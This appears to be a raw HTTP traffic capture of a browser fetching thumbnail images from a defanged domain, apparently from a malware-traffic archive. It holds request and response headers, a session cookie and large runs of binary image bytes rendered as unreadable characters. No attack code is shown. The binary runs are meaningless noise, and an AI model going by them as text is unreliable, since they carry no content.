Cookie: symfony=askihtrj7kmrsqb6nrck15elr5



..}?..h.Fb".1Y&........<7.3k......cWQ...y..>..W..jlte....6.a.k.|
,x..F.6...%.....6..k..$8.]i....,.:.....n.. .Z....o.._....<.....|,..
.k..).$%...s...6..3$..811..L....~.b...y.8a.....r.A..t.................
.......o..x.73........3....h.. ....42.......I("..f.x...d,."j..y.L..z..
..Z..hH...^.L.V..|...3{.A.N,,Qk......]9s..*i.........,!ZU.N.=n.....i..
.a....*...&3m.j.l5...I.K.....<.M.n.....\..TV..Q?..<.....(..eP&.6
...-.%J...p..7....<.. Q..|.[.^........) .{3Wj.....6.D.....6j.......
.J.H...q......l.....T.u.X..L[b..y....qy...?.D..s..o.....I..._.D...,!#.
..9..yM.......L.-....!.g...<]M&..........L.l......q.u.Y...$;...9.5h
...hM...'4^7..(......7..]Q.....W.O3...k4.... ...I5-.k...DC;..HU..H.|..
....~`.H#......B..t...9..\.....([d.*[...}S..Q. _...<F&l.U ..%..2}..
.`...Y.[N...>.....Dsu..a.o...:$...o.rl...4...2.0|6..$7.ZD.Fo....Bg.
..(..,X\....U.x..w..N....q|...x3...bc.%.4}t..r.R.......". ...i.....Z..
8....'.q#re.....xc....V...8..5.kK#...7.1m2WV.-qcv..d.`@x.......`pj.@.&
gt;.a#.9..Q...f:... YW....{.._[.........%|.ZOp.`.7.J~..C...Q...6.F.{c.
...3 ....%.....}....l.y.[.adb....5Q.......&..iM...D.a.........#.I.2,..
..vo1.Y...2....BV...3.s.....%.K.m)$9...~...w...I........8o{.YhC1...9.q
`..7.i{,a..?.7..:..$8rP./....;w. sV...n...2x...r......<t.!.fL..I.2.
...|...6&.e..~..n..h..*.W.&.4f..kD....7=?......)...>7........l..C. 
.....C...$.MM.~e#}.oy...v...6..=.{..g...iC..._i........F.\.....#..N..f
bCw..Z.....&.5.......0VV......m... .......N(y......Nn.......I..0%.....
#..........Xf.!r....kN.?.H;.&..{ge../E...7..9..Y.d...?.......<.<<< skipped >>>

GET /thumbnails/icon/images/assets/f/1/f1ed3cd0cae7a3524376e6f9369c7ab8.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: image/png

Content-Length: 101632

Last-Modified: Tue, 18 Jun 2013 12:27:16 GMT

Connection: keep-alive

ETag: "51c05224-18d00"

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR................l....pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 98253

Last-Modified: Sun, 28 Jul 2013 10:29:06 GMT

Connection: keep-alive

ETag: "51f4f272-17fcd"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR...,...,.....y}.u....sBIT....|.d... .IDATx...y.m.U....
=.s.}[email protected].`CpD..J....$.2D).e.....bp..!.`[b(...B...Zj..
.o...;.aO.1.......O.#..}V..{.y..i.......o..X.*V..U.b..X.*V..U.b..X.*V.
.U.b..X.*V..U.b..).}...*.$.....%../...b._P........X......}..|@........
.......~........p.~..?...v....C..s...<...>.sX.*...../G..Pnu=....
|...x.o^...b....c([email protected] .[.
..`}..V..qpb......H2."[email protected]......~.M.s<..z.....D.e.@`.E..
...X.....p..<....8...u38}!..*."..........8.0"[email protected].*.(..*(..!T..
_....l._.~.....z. .<....g3.....w.~.m....q..s.. ....{xx..p0..c.4....
...?..Gz..@.~|z.. .;u...yfY..{..s.z'.33.9....5u.9.....$].W..l..c..g..V
<.S,[email protected]/....L..................v..y!.:c....>D
.)yB)%.......p."F*......CH..A.....u....!D.[3s....B.1..~q.`w...........
....>.`. .... ..*.9wKc,....\[email protected]...*..B...?....7.k#@U.T
....V..|o.T ...i....o......g.:}..R.O.X.>.*[email protected]..
..1.......s..YJ.....\p.t..8..`...........#B.`.#...9.s.....M....^.r....
.}z.......f .q.\!.={........-.........v.'........g.....S..@......../}.
\......5../.i..y...r........s.........}......'....P2`M........5l.!8...
..........3@0..,.u.M... .1..RI..b*N....CJ..4.w...J.q.!%.c`\ .sp).8....
...B).!`........m{qk{..k.;.>r...............JJ.9.}.v.s...=..7......
........_F...*...../][email protected]..}..K3........?......7...O...<.`
.A.\.o[D....]..v=.1...Y.g..s...1...eI)!..s..s.)..w.".,. [email protected]..&
lt;.R.!.q*......`.eU.q...t.C..Ke....8...eUAe.`.B....3.....7..u....<<< skipped >>>

GET /thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5

GET /thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 154830

Last-Modified: Thu, 13 Jun 2013 17:45:49 GMT

Connection: keep-alive

ETag: "51ba054d-25cce"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.....................pHYs................ cHRM..m...s.
...u......z....g..0[....P.W...\TIDATx...o.^Ev....R.....h...h4......a0.
....L..,K0...L.!.....b..!....B.K0fYB0&,a.a.a....h.Y ..v..h5.Y#...hZ.U.
..m..{..9u.G....y...~.{...S.|......B..)R.H."E..)R.H."E.....(R.H."E..)R
.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H
."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H.
...)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E
..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..
)R.H."E..)R.H....)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..)
.@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.
H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H.
"E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."
..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E.
.)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)
R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R
...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H
."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."
E..)R.H."E..)R.."E..)R.H."E..)R...E..)R.H."E..)R.H..w.*]..%.N...|...,.
4\].U...uMu=..^R.....7V?WWn...T.......zju=...W{..a..`.H."E..)R..K|....
:Y].U...u..n...t/..............|[email protected]..
^\]WU........Y.\)....:Q] ..S9....uau.S].W....._.|m...............e..)R
.H."E.|_.T..........[...l..=..WV.3.keO..H....... .8.....Wx.....Z..<<< skipped >>>

GET /thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 151824

Last-Modified: Thu, 13 Jun 2013 17:45:53 GMT

Connection: keep-alive

ETag: "51ba0551-25110"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR.....................pHYs................ cHRM..m...s.
...u......z....g..0[....P.W...P.IDATx...}..UZ.....7!d2.`..d.Ad.."RD.AJ
."EDD:.)...t..(gJ)..".S..9H9....J."...H.r."b....4'n..4..c.d2......}o..
....u.w..g]..e...............RJT.R.J.*U.T.R.J.*U..K.CP.J.*U.T.R.J.*U.T
..J.*U.T.R.J.*U.T.R..*U.T.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*...R.J.*U.T.R
.J.*U.T..J.*U.T.R.J.*U.T.R..*U.T.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*...R.J
.*U.T.R.J.*U*.P.J.*U.T.R.J.*U.T..@.*U.T.R.J.*U.T.R...U.T.R.J.*U.T.R.J.
..T.R.J.*U.T.R.J.*U*.P.J.*U.T.R.J.*U.T..@.*U.T.R.J.*U.T.R...U.T.R.J.*U
.T.R.J...T.R.J.*U.T.R.J.*...R.J.*U.T.R.J.*U.T..J.*U.T.R.J.*U.T.R..*U.T
.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*...R.J.*U.T.R.J.*U.T..J.*U.T.R.J.*U.T.
R..*U.T.R.J.*U.T.R.J...T.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*U*.P.J.*U.T.R.
J.*U.T..@.*U.T.R.J.*U.T.R...U.T.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*U*.P.J.
*U.T.R.J.*U.T..@.*U.T.R.J.*U.T.R...U.T.R.J.*U.T.R.J...T.R.J.*U.T.R.J.*
...R.J.*U.T.R.J.*U.T..J.*U.T.R.J.*U.T.R..*U.T.R.J.*U.T.R.J...T.R.J.*U.
T.R.J.*...R.J.*U.T.R.J.*U.,.L.!8..i..i....................o...........
<......K..3.............g.*U.T.R.J..oK.|.n?w...........Ks.....G...l
.~...g.._k?W..S.......2.)..R][email protected]'0o.........g....j.k/wJ.
.I.g..4.bl.j..X. ...,..y.%...R.J.*U.T.......;[email protected]..}..9.g...._M...
.i..n?g..y.....y?....0.y.o8`...................|.*..U.M{..|..._m?w.}Nl
m/.".K[EyH...~...V.N^.~o>._.....}.n.>......R.J.*U.T....._:.2..n.
>.....>....}..z{p........P....=._...K......>.....m..ts{..;...
.sW..J..*........Y.g..7/..m.}sg.goo...!.l..!....=s...p.M...s...q..<<< skipped >>>

GET /thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 24626

Last-Modified: Thu, 13 Jun 2013 17:46:11 GMT

Connection: keep-alive

ETag: "51ba0563-6032"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9247670438B3E211AC72D899932DBE6B" xmpMM:DocumentID="xmp.did:E7AB
8047C2A611E298A7FDC45846E498" xmpMM:InstanceID="xmp.iid:E7AB8046C2A611
E298A7FDC45846E498" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2A4978B7FB5E211AC72
D899932DBE6B" stRef:documentID="xmp.did:9247670438B3E211AC72D899932DBE
6B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>I.....\bIDATx.....U...O7.....i.h. [email protected].
.......L..$U.8F3&5Ve,M.L.L.8..N......\...7.(c.\@eW.F.n...i......}.\.^.
..........h..g{...V.9r..CEE...=..gU.....u.^...................?C..B...
8.P..F......o.xg.....K............X.V!.O.>.[.5.ze..l.....?Ro..o....
....D...c.. ."......r.../...o. .(-0y.XoB.yD.2$....;X2....b......o..|..
A"@..L t_. ..g.s.....K..&...s..Pz@. .8.".....Z.g./..h..6...cPJ@B`.....
.pV. ..v.4....~...Q4.n..<[email protected][email protected]..{. .z>8..gc..
....=>..].J......U.........>[email protected]@.8,.L....j.~...O.|K...<<< skipped >>>

GET /images/logo_illust.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/jpeg

Content-Length: 6413

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-190d"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:3D956397C78E11E29647DC152D3137BE" xmpMM:Documen
tID="xmp.did:3D956398C78E11E29647DC152D3137BE"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:3D956395C78E11E29647DC152D3137BE" stRef:d
ocumentID="xmp.did:3D956396C78E11E29647DC152D3137BE"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
..................../.3...............................................
...............................!.1..A.Qa"q..2....B#...R..3C..br.....Ss
D%E...............................?..-.@#X.Pu4..yV.`[email protected]
...,A...p<.....R..u.A0.`..>.........{cJ.ebIc>.A.2>...dN...
x........#a..... ...`A.L.u_e.....$.....v.........}.cQ..J.......K-..../
..`...t$.....UIT.Qa>T....C..Q...h..R<....M.c.IX...11.....]....t 
..yPJd...I..H..@(.b.$.w....@n..=U.&:G.....7...{.Q@[D.5.u.SA8..m...<<< skipped >>>

GET /thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 33167

Last-Modified: Thu, 13 Jun 2013 17:46:19 GMT

Connection: keep-alive

ETag: "51ba056b-818f"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.6/28/10.
.]... .IDATx...y.\U....}...-{.CHX.A.d.0 .........A....J...,......D`. .
..(.QF. ..I..d1i $$.CHB*......]..?..S]...s.s.s..........y....9.=....b.
X,.ctt..}>W....X,...b.D......~.@,...b.x...X,...R....b.X,...&....b..
 6..X,........b.X,5.M.,...b.Al.`.X,.K.b....b.Xj...X,...R....b.X,...&..
..b.. 6..X,........b.X,5.M.,...b.Al.`.X,.K.b....b.Xj...X,...R....b.X,.
.$......_._...b.X,..0.........A....~......;.b.X,.Z''.#y?.....c.Q....?.
 ...~?..;.C}....>ugI..UC.G.z .I....T.qj..8.;T.........T:.$...U.pT..
3..._.F.HP....?. Ji|.....8'v....cE.....E.FNQ]_..kB.E}..|..t. .? ......
..5.....!.)......?.....[....-..........BUR..'w...R.E..........!.......
cdl.N>t..q.....,..1........_..C.$.9{p.;....b1.R....."....dE_.O..?PY
...;.Ax..qX.. ~sO..@.@<.....8<.):..9$.....9&0......iB.......~.1P
.P..q.....G..E.%...J.r.Q.t.......KBP.....t..l9.....p.....X.wc...C.cZ..
.W.IP1..........ywS...vez.^L.j..=..~e...}..t.DX......(..P>.1-......
.....b,....wW1...X7P..Eb...Yt..J..v.....dmT..W..A.9.1.......w.U......(
..$ ....n..M!...>...cbx..,.}....f..>`.....q..-..W.XV..`nA`YT....
o..N...S...]....p.A..Ai.....8Y..z.N}q.~.8.....[..5....!T......D.....b.
...}..(..N..t..R.E....S.........._....P>....Blr..h"....T.{UI.S_...)
...L.....(..... .S...C...SqW.....E.98.....a.....f.. P-..>..r.~...N.
Y........Z...$.px.H.nls..(...w.....{/..o....6G....X.W.....|Nh_..rH^U..
..H....G...Z.C[...#IPe.....G$.n....Al.....I.s.[[email protected]\.......!<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5



.<<....O......T...F.......oU.....-..........h......4NSPA...`...&
 U....i.......^.....?_.....g."[email protected]..?..`....].K....7...%3|.
.....0._J......o........9.O. .........1....b...o... .<.....}R..._8.
.lV..............w5.^...r..pm..G......w....Sz!P..$.......w......q.I.8.
.r....$3s....N.033s.$.cfffff.-fKfR....y.;wF3...........3...e[U]]......
~../....."....-.........'....D.....K.c$......pR.....8...h.l..@.......@
[email protected]...`9P..:h.C.`.....I.#[email protected]..'......SQl...c....).C.,..@
@..............0..$.t.0....N.p.!.@...@....?%.,..........Z.....P.d.....
[email protected]....`p~};9...'...g.u... .....kP..D....6VQ&c.d"z..s;.". .XZshZ.
.k=....h.!....@3....!....b..P4.Mp.6.....H...F...K...I.R'H.Kq.j9.r_.r7.
.....`./.....l ..j.j..H....c[...;.p..{...at..3....Mi ...M..},*..9wX.Ge
.........s.r..P...3.a.#|l.:..#.V....o.. .....I.......'....-.........&g
t;....A..D.....;.{.......Q.<[email protected]<O......r.,....w....#..kW
...?....L.g......i...........?......Akz..8..?..|a......W.[.g.o....7#~.
....j.v.[Z.7P..w....`....(.j.#.R.T.>.U.n....s.(.../....bw.*.[.h..6.
.{j7...U.}....&.W....o.|......Gh.`.6.).2..........x.O....#...$~..?>
...;c..7.T.....X .3......}pC.......P.p[.b/.r".U.........^L....#.......
..,[email protected]../........~...Q...8E. ......'.4.."...
......F.0 [email protected]....$. ............qC[......6.u;.....O.* <..g7t.3.;.)
[email protected]..[*...}..... w......-..._....d.....#[..q.A..t.!.S.k~....
....n.!.... W.H.CH.-`...]....Z`..n..n){...q....|k.<..LE.qz.9:......
c..1K..$...........!|.=~....g..O....6..B|...O..Omt.!.K.g.. @......<<< skipped >>>

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 77988

Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT

Connection: keep-alive

ETag: "51bbfce5-130a4"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:07 GMT

Content-Type: image/png

Content-Length: 217582

Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT

Connection: keep-alive

ETag: "51ba05aa-351ee"

Expires: Tue, 24 Feb 2015 02:32:07 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
